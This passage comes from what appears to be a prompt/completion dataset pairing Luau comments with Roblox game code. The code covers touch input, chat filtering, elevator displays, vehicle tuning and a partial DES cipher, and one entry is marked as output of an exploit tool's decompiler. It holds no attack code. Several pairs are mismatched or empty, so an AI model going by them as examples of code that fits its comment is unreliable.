processed)\n\t\tif (processed) then return end\n\t\tself.TouchStarted:Fire(input.Position)\n\tend)\n\t\n\tuserInput.TouchEnded:Connect(function(input, _processed)\n\t\tself.TouchEnded:Fire(input.Position)\n\tend)\n\t\n\tuserInput.TouchMoved:Connect(function(input, processed)\n\t\tif (processed) then return end\n\t\tself.TouchMoved:Fire(input.Position, input.Delta)\n\tend)\n\t\n\tuserInput.TouchTapInWorld:Connect(function(position, processed)\n\t\tif (processed) then return end\n\t\tself.TouchTapInWorld:Fire(position)\n\tend)\n\t\n\tuserInput.TouchPinch:Connect(function(touchPositions, scale, velocity, state, processed)\n\t\tif (processed) then return end\n\t\tself.TouchPinch:Fire(touchPositions, scale, velocity, state)\n\tend)\n\n\tuserInput.TouchLongPress:Connect(function(touchPositions, state, processed)\n\t\tif (processed) then return end\n\t\tself.TouchLongPress:Fire(touchPositions, state)\n\tend)\n\n\tuserInput.TouchPan:Connect(function(touchPositions, totalTranslation, velocity, state, processed)\n\t\tif (processed) then return end\n\t\tself.TouchPan:Fire(touchPositions, totalTranslation, velocity, state)\n\tend)\n\n\tuserInput.TouchRotate:Connect(function(touchPositions, rotation, velocity, state, processed)\n\t\tif (processed) then return end\n\t\tself.TouchRotate:Fire(touchPositions, rotation, velocity, state)\n\tend)\n\n\tuserInput.TouchSwipe:Connect(function(swipeDirection, numberOfTouches, processed)\n\t\tif (processed) then return end\n\t\tself.TouchSwipe:Fire(swipeDirection, numberOfTouches)\n\tend)\n\n\tuserInput.TouchTap:Connect(function(touchPositions, processed)\n\t\tif (processed) then return end\n\t\tself.TouchTap:Fire(touchPositions)\n\tend)\n\n\tself.GetDeviceAcceleration = userInput.GetDeviceAcceleration\n\tself.GetDeviceGravity = userInput.GetDeviceGravity\n\tself.GetDeviceRotation = userInput.GetDeviceRotation\n\tself.DeviceAccelerationChanged = userInput.DeviceAccelerationChanged\n\tself.DeviceGravityChanged = userInput.DeviceGravityChanged\n\tself.DeviceRotationChanged = userInput.DeviceRotationChanged\n\t\nend\n\n\nreturn Mobile\n"} +{"prompt": "--host.Transparency = ghost.Transparency + 0.05", "completion": "\n\tend\n\n\nend\n\n"} +{"prompt": "--task.wait(script.Duration.Value)", "completion": "\n\nwhile script.Duration.Value > 0 do\n\ttask.wait(1)\n\tscript.Duration.Value = script.Duration.Value - 1\nend\n"} +{"prompt": "--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result", "completion": "\nfunction methods:InternalApplyRobloxFilterNewAPI(speakerName, message, textFilterContext) --// USES FFLAG\n\tif _SETTINGS.DisableSafeChat == false then\n\t\tlocal alwaysRunFilter = false\n\t\tlocal runFilter = RunService:IsServer() and not RunService:IsStudio()\n\t\tif (alwaysRunFilter or runFilter) then\n\t\t\tlocal fromSpeaker = self:GetSpeaker(speakerName)\n\t\t\tif fromSpeaker == nil then\n\t\t\t\treturn false, nil, nil\n\t\t\tend\n\t\n\t\t\tlocal fromPlayerObj = fromSpeaker:GetPlayer()\n\t\t\tif fromPlayerObj == nil then\n\t\t\t\treturn true, false, message\n\t\t\tend\n\t\n\t\t\tlocal success, filterResult = pcall(function()\n\t\t\t\tlocal ts = game:GetService(\"TextService\")\n\t\t\t\tlocal result = ts:FilterStringAsync(message, fromPlayerObj.UserId, textFilterContext)\n\t\t\t\treturn result\n\t\t\tend)\n\t\t\tif (success) then\n\t\t\t\treturn true, true, filterResult\n\t\t\telse\n\t\t\t\twarn(\"Error filtering message:\", message, filterResult)\n\t\t\t\tself:InternalNotifyFilterIssue()\n\t\t\t\treturn false, nil, nil\n\t\t\tend\n\t\tend\n\tend\n\t--// Simulate filtering latency.\n\twait()\n\treturn true, false, message\nend\n\nfunction methods:InternalDoMessageFilter(speakerName, messageObj, channel)\n\tlocal filtersIterator = self.FilterMessageFunctions:GetIterator()\n\n\tfor funcId, func, priority in filtersIterator do\n\t\tlocal success, errorMessage = pcall(function()\n\t\t\tfunc(speakerName, messageObj, channel)\n\t\tend)\n\n\t\tif not success then\n\t\t\twarn(string.format(\"DoMessageFilter Function '%s' failed for reason: %s\", funcId, errorMessage))\n\t\tend\n\tend\nend\n\nfunction methods:InternalDoProcessCommands(speakerName, message, channel)\n\tlocal commandsIterator = self.ProcessCommandsFunctions:GetIterator()\n\n\tfor funcId, func, priority in commandsIterator do\n\t\tlocal success, returnValue = pcall(function()\n\t\t\tlocal ret = func(speakerName, message, channel)\n\t\t\tif type(ret) ~= \"boolean\" then\n\t\t\t\terror(\"Process command functions must return a bool\")\n\t\t\tend\n\t\t\treturn ret\n\t\tend)\n\n\t\tif not success then\n\t\t\twarn(string.format(\"DoProcessCommands Function '%s' failed for reason: %s\", funcId, returnValue))\n\t\telseif returnValue then\n\t\t\treturn true\n\t\tend\n\tend\n\n\treturn false\nend\n\nfunction methods:InternalGetUniqueMessageId()\n\tlocal id = self.MessageIdCounter\n\tself.MessageIdCounter = id + 1\n\treturn id\nend\n\nfunction methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded)\n\tif (self.Speakers[speakerName:lower()]) then\n\t\terror(\"Speaker \\\"\" .. speakerName .. \"\\\" already exists!\")\n\tend\n\n\tlocal speaker = Speaker.new(self, speakerName)\n\tspeaker:InternalAssignPlayerObject(playerObj)\n\tself.Speakers[speakerName:lower()] = speaker\n\n\tif fireSpeakerAdded then\n\t\tlocal success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)\n\t\tif not success and err then\n\t\t\tprint(\"Error adding speaker: \" ..err)\n\t\tend\n\tend\n\n\treturn speaker\nend\n\nfunction methods:InternalFireSpeakerAdded(speakerName)\n\tlocal success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)\n\tif not success and err then\n\t\tprint(\"Error firing speaker added: \" ..err)\n\tend\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nwait(0.1);\nlocal u1 = false;\nlocal l__Character__2 = game.Players.LocalPlayer.Character;\ngame.Players.LocalPlayer:GetMouse().KeyDown:connect(function(p1)\n\tif p1:lower() == \"h\" then\n\t\tu1 = not u1;\n\t\tscript.Parent.PassThrough:FireServer({ \"Head\", u1, l__Character__2 });\n\t\twait(5);\n\tend;\nend);\n"} +{"prompt": "-- -- -- -- -- -- --\n--DIRECTION SCROLL--\n-- -- -- -- -- -- --", "completion": "\n\nwhile true do\n\twait()\n\tif Lift:WaitForChild(\"Floor\").Value == tonumber(This.Parent.Name) and Lift:WaitForChild(\"Velocity\").Value == 0 then\n\t\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\t\twait(0.3)\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\t\twait(0.3)\n\t\telseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\t\t\twait(0.3)\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\t\twait(0.3)\n\t\telse\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\tend\n\telse\n\t\tif Lift:WaitForChild(\"Direction\").Value == 1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\telseif Lift:WaitForChild(\"Direction\").Value == -1 then\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"Neon\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(ActiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"Neon\"\n\t\telse\n\t\t\tThis.Display.ARW1.UP.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.UP.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.MID.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.MID.Material = \"SmoothPlastic\"\n\t\t\tThis.Display.ARW1.DOWN.BrickColor = BrickColor.new(InactiveCol)\n\t\t\tThis.Display.ARW1.DOWN.Material = \"SmoothPlastic\"\n\t\tend\n\tend\n\twait()\nend\n"} +{"prompt": "-- declarations", "completion": "\n\nlocal head = script.Parent\n\nfunction onTouched(part)\n\tlocal h = part.Parent:findFirstChild(\"Humanoid\")\n\tif h~=nil then\nif part.Parent:findFirstChild(\"Head\"):findFirstChild(\"face\").Texture == nil then return end\npart.Parent:findFirstChild(\"Head\"):findFirstChild(\"face\").Texture=\"0 \"\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "------------", "completion": "\nlocal x = (PlayerMouse.X - Colors.AbsolutePosition.X) / Colors.AbsoluteSize.X\nlocal y = (PlayerMouse.Y - Colors.AbsolutePosition.Y) / Colors.AbsoluteSize.Y\nh = 1 - x\ns = 1 - y\nColors.Picker.Position = UDim2.new(x, 0, y ,0)\nBrightness.ImageColor3 = Color3.fromHSV(h, s, 1)\nPreview.ImageColor3 = Color3.fromHSV(h, s, v)\nChangeColorEvent:FireServer(Preview.ImageColor3)"} +{"prompt": "--Incline Compensation", "completion": "\nTune.InclineComp\t= 1.5\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n"} +{"prompt": "--Misc", "completion": "\nTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\nTune.RevDecay\t\t= 45\t\t-- RPM decay when clutch is off\nTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\nTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\nTune.ClutchTol\t\t= 670\t\t-- Clutch engagement threshold (higher = faster response)\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= true\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 2100\t\t-- Front brake force\n\tTune.RBrakeForce\t= 1800\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 15000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 15000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 10000\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 25000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nlocal u2 = {};\nfunction Step()\n\tfor v1, v2 in pairs(u2) do\n\t\tlocal v3 = v2[1];\n\t\tif v2[3] <= os.clock() - v2[2] then\n\t\t\tif type(v3) == \"table\" then\n\t\t\t\tlocal v4, v5, v6 = ipairs(v3);\n\t\t\t\tfor v7, v8 in ipairs(v3) do \n\t\t\t\t\tv8:Destroy();\t\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tv3:Destroy();\n\t\t\tend;\n\t\t\ttable.remove(u2, v1);\n\t\tend;\n\tend;\nend;\ncoroutine.wrap(function()\n\twhile true do\n\t\tu1.Heartbeat();\n\t\tStep();\t\n\tend;\nend)();\nreturn function(p1, p2)\n\tif not p2 then\n\t\tp2 = 10;\n\tend;\n\ttable.insert(u2, { p1, os.clock(), p2 });\nend;\n"} +{"prompt": "-- FIRST_RESERVED is not required as tokens are manipulated as strings\n-- TOKEN_LEN deleted; maximum length of a reserved word not needed", "completion": "\n"} +{"prompt": "--[[\n\t-----------[ THEMES ]-----------\n \n\n\t- LIGHT MODE:\n\t If you want the light theme version of the board,\n\t replace line 1 with: \n\t \n\t require(11370150761).Parent = script.Parent\n\t\n\t- DARK MODE:\n\t If you want the dark theme version of the board,\n\t replace line 1 with: \n\t \n\t require(11370294847).Parent = script.Parent\n\n--]]", "completion": "\n"} +{"prompt": "-- Assign hotkeys for sibling selection", "completion": "\nAssignHotkey({ 'LeftBracket' }, Support.Call(Targeting.SelectSiblings, false, true));\nAssignHotkey({ 'LeftShift', 'LeftBracket' }, Support.Call(Targeting.SelectSiblings, false, false));\nAssignHotkey({ 'RightShift', 'LeftBracket' }, Support.Call(Targeting.SelectSiblings, false, false));\n"} +{"prompt": "--// SS3.33T Police Edit originally for 2017 Mercedes-Benz E300 by Itzt and MASERATl, base SS by Inspare", "completion": "\n \nwait(0.1)\nlocal player = game.Players.LocalPlayer\nlocal HUB = script.Parent.HUB\nlocal limitButton = HUB.tbName --DNS 2020-02-16 renamed the child textbox tbName because LUA threw \"attempt to index\" error when it was called Name\nlocal lightOn = false\nlocal Camera = game.Workspace.CurrentCamera\nlocal cam = script.Parent.nxtcam.Value\nlocal carSeat = script.Parent.CarSeat.Value\nlocal mouse = game.Players.LocalPlayer:GetMouse()\n"} +{"prompt": "-- fun\u00e7\u00e3o para adicionar v\u00edrgulas a um n\u00famero", "completion": "\nlocal function commaSeparateNumber(amount)\n\tlocal formatted = amount\n\twhile true do \n\t\tformatted, k = string.gsub(formatted, \"^(-?%d+)(%d%d%d)\", '%1,%2')\n\t\tif k == 0 then\n\t\t\tbreak\n\t\tend\n\tend\n\treturn \"Boost: \"..formatted\nend\n"} +{"prompt": "-- add 32 to each because we do the expansion on the full LR table, not just R", "completion": "\nlocal EBIT = {\t32+32, 1+32, 2+32, 3+32, 4+32, 5+32, 4+32, 5+32, 6+32, 7+32, 8+32, 9+32,\n\t\t\t\t 8+32, 9+32, 10+32, 11+32, 12+32, 13+32, 12+32, 13+32, 14+32, 15+32, 16+32, 17+32,\n\t\t\t\t16+32, 17+32, 18+32, 19+32, 20+32, 21+32, 20+32, 21+32, 22+32, 23+32, 24+32, 25+32,\n\t\t\t\t24+32, 25+32, 26+32, 27+32, 28+32, 29+32, 28+32, 29+32, 30+32, 31+32, 32+32, 1+32, };\n\nlocal LR_SWAP = {\t33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,\n\t\t\t\t\t49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,\n\t\t\t\t\t 1, 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,15,16,\n\t\t\t\t\t17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32};\n\nlocal PC1 = {\t57,49,41,33,25,17, 9, 1,58,50,42,34,26,18,\n\t\t\t\t10, 2,59,51,43,35,27,19,11, 3,60,52,44,36,\n\t\t\t\t63,55,47,39,31,23,15, 7,62,54,46,38,30,22,\n\t\t\t\t14, 6,61,53,45,37,29,21,13, 5,28,20,12, 4};\n\nlocal PC2 = {\t14,17,11,24, 1, 5, 3,28,15, 6,21,10,\n 23,19,12, 4,26, 8,16, 7,27,20,13, 2,\n 41,52,31,37,47,55,30,40,51,45,33,48,\n 44,49,39,56,34,53,46,42,50,36,29,32};\n\nlocal KS1 = {\t 2, 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 1, \n\t\t\t\t30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,29};\nlocal KS2 = KS1;\n\nlocal KS3 = {\t 3, 4, 5, 6, 7, 8, 9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 1, 2,\n\t\t\t\t31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,29,30};\n\nlocal KS4 = KS3;\nlocal KS5 = KS3;\nlocal KS6 = KS3;\nlocal KS7 = KS3;\nlocal KS8 = KS3;\nlocal KS9 = KS1;\nlocal KS10 = KS3;\nlocal KS11 = KS3;\nlocal KS12 = KS3;\nlocal KS13 = KS3;\nlocal KS14 = KS3;\nlocal KS15 = KS3;\nlocal KS16 = KS1;\n\n\nlocal SIND1 = { 2, 3, 4, 5, 1, 6 };\nlocal SIND2 = { 2+6, 3+6, 4+6, 5+6, 1+6, 6+6 };\nlocal SIND3 = { 2+12,3+12,4+12,5+12,1+12,6+12 };\nlocal SIND4 = { 2+18,3+18,4+18,5+18,1+18,6+18 };\nlocal SIND5 = { 2+24,3+24,4+24,5+24,1+24,6+24 };\nlocal SIND6 = { 2+30,3+30,4+30,5+30,1+30,6+30 };\nlocal SIND7 = { 2+36,3+36,4+36,5+36,1+36,6+36 };\nlocal SIND8 = { 2+42,3+42,4+42,5+42,1+42,6+42 };\n\nlocal SBOX1 = {\t14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,\n\t\t \t\t0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,\n\t\t \t\t4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,\n\t\t \t\t15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13};\n\nlocal SBOX2 = {\t15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,\n\t\t \t\t3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,\n\t\t \t\t0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,\n\t\t \t\t13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9};\n\nlocal SBOX3 = {\t10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,\n\t\t\t\t13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,\n\t\t\t\t13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,\n\t\t\t\t1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12};\n\nlocal SBOX4 = {\t7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,\n\t\t\t\t13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,\n\t\t\t\t10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,\n\t\t\t\t3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14};\n \nlocal SBOX5 = {\t2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,\n\t\t\t\t14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,\n\t\t\t\t4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,\n\t\t\t\t11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3};\n\nlocal SBOX6 = {\t12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,\n\t\t\t\t10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,\n\t\t\t\t9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,\n\t\t\t\t4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13};\n \nlocal SBOX7 = {\t4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,\n\t\t\t\t13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,\n\t\t\t\t1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,\n\t\t\t\t6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12};\n\nlocal SBOX8 = {\t13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,\n\t\t\t\t1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,\n\t\t\t\t7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,\n\t\t\t\t2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11};\n\nlocal ROUND_P = {\t16, 7,20,21,29,12,28,17, 1,15,23,26, 5,18,31,10,\n\t\t\t\t\t 2, 8,24,14,32,27, 3, 9,19,13,30, 6,22,11, 4,25};\n\nlocal permute = Array.permute;\n\nlocal unpackBytes = function(bytes)\n\tlocal bits = {};\n\n\tfor k,b in pairs(bytes) do\n\t\ttable.insert(bits,RSHIFT(AND(b,0x80),7));\n\t\ttable.insert(bits,RSHIFT(AND(b,0x40),6));\n\t\ttable.insert(bits,RSHIFT(AND(b,0x20),5));\n\t\ttable.insert(bits,RSHIFT(AND(b,0x10),4));\n\t\ttable.insert(bits,RSHIFT(AND(b,0x08),3));\n\t\ttable.insert(bits,RSHIFT(AND(b,0x04),2));\n\t\ttable.insert(bits,RSHIFT(AND(b,0x02),1));\n\t\ttable.insert(bits, AND(b,0x01) );\n\tend\n\n\treturn bits;\nend\n\nlocal packBytes = function(bits)\n\tlocal bytes = {}\n\n\tfor k,v in pairs(bits) do\n\t\tlocal index = Math.floor((k-1)/8) + 1;\n\t\tlocal shift = 7-Math.fmod((k-1),8);\n\n\t\tlocal bit = bits[k];\n\t\tlocal byte = bytes[index];\n\n\t\tif not byte then byte = 0x00; end\n\t\tbyte = OR(byte,LSHIFT(bit,shift));\n\t\tbytes[index] = byte;\n\tend\n\n\treturn bytes;\nend\n\nlocal mix = function(LR,key)\n\t\n\tlocal ER = permute(LR,EBIT);\n\n\tfor k,v in pairs(ER) do\n\t\tER[k] = XOR(ER[k],key[k]);\n\tend\n\n\tlocal FRK = {};\n\n\tlocal S = 0x00;\n\tS = OR(S,ER[1]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5]); S = S+1;\n\tS = SBOX1[S];\n\n\tFRK[1] = RSHIFT(AND(S,0x08),3);\n\tFRK[2] = RSHIFT(AND(S,0x04),2);\n\tFRK[3] = RSHIFT(AND(S,0x02),1);\n\tFRK[4] = AND(S,0x01);\n\n\n\tS = 0x00;\n\tS = OR(S,ER[1+6]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+6]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+6]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+6]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+6]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+6]); S = S+1;\n\tS = SBOX2[S];\n\n\tFRK[5] = RSHIFT(AND(S,0x08),3);\n\tFRK[6] = RSHIFT(AND(S,0x04),2);\n\tFRK[7] = RSHIFT(AND(S,0x02),1);\n\tFRK[8] = AND(S,0x01);\n\n\n\tS = 0x00;\n\tS = OR(S,ER[1+12]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+12]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+12]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+12]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+12]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+12]); S = S+1;\n\tS = SBOX3[S];\n\n\tFRK[9] = RSHIFT(AND(S,0x08),3);\n\tFRK[10] = RSHIFT(AND(S,0x04),2);\n\tFRK[11] = RSHIFT(AND(S,0x02),1);\n\tFRK[12] = AND(S,0x01);\n\t\n\t\n\tS = 0x00;\n\tS = OR(S,ER[1+18]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+18]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+18]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+18]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+18]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+18]); S = S+1;\n\tS = SBOX4[S];\n\n\tFRK[13] = RSHIFT(AND(S,0x08),3);\n\tFRK[14] = RSHIFT(AND(S,0x04),2);\n\tFRK[15] = RSHIFT(AND(S,0x02),1);\n\tFRK[16] = AND(S,0x01);\n\n\n\tS = 0x00;\n\tS = OR(S,ER[1+24]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+24]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+24]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+24]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+24]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+24]); S = S+1;\n\tS = SBOX5[S];\n\n\tFRK[17] = RSHIFT(AND(S,0x08),3);\n\tFRK[18] = RSHIFT(AND(S,0x04),2);\n\tFRK[19] = RSHIFT(AND(S,0x02),1);\n\tFRK[20] = AND(S,0x01);\n\n\n\tS = 0x00;\n\tS = OR(S,ER[1+30]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+30]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+30]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+30]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+30]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+30]); S = S+1;\n\tS = SBOX6[S];\n\n\tFRK[21] = RSHIFT(AND(S,0x08),3);\n\tFRK[22] = RSHIFT(AND(S,0x04),2);\n\tFRK[23] = RSHIFT(AND(S,0x02),1);\n\tFRK[24] = AND(S,0x01);\n\n\n\tS = 0x00;\n\tS = OR(S,ER[1+36]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+36]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+36]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+36]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+36]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+36]); S = S+1;\n\tS = SBOX7[S];\n\n\tFRK[25] = RSHIFT(AND(S,0x08),3);\n\tFRK[26] = RSHIFT(AND(S,0x04),2);\n\tFRK[27] = RSHIFT(AND(S,0x02),1);\n\tFRK[28] = AND(S,0x01);\n\n\n\tS = 0x00;\n\tS = OR(S,ER[1+42]); S = LSHIFT(S,1);\n\tS = OR(S,ER[6+42]); S = LSHIFT(S,1);\n\tS = OR(S,ER[2+42]); S = LSHIFT(S,1);\n\tS = OR(S,ER[3+42]); S = LSHIFT(S,1);\n\tS = OR(S,ER[4+42]); S = LSHIFT(S,1);\n\tS = OR(S,ER[5+42]); S = S+1;\n\tS = SBOX8[S];\n\n\tFRK[29] = RSHIFT(AND(S,0x08),3);\n\tFRK[30] = RSHIFT(AND(S,0x04),2);\n\tFRK[31] = RSHIFT(AND(S,0x02),1);\n\tFRK[32] = AND(S,0x01);\n\n\tFRK = permute(FRK,ROUND_P);\n\n\treturn FRK;\nend\n\nlocal DES = {};\n\nDES.blockSize = 8;\n\nDES.encrypt = function(keyBlock,inputBlock)\n\n\tlocal LR = unpackBytes(inputBlock);\n\tlocal keyBits = unpackBytes(keyBlock);\n\n\n\tlocal CD = 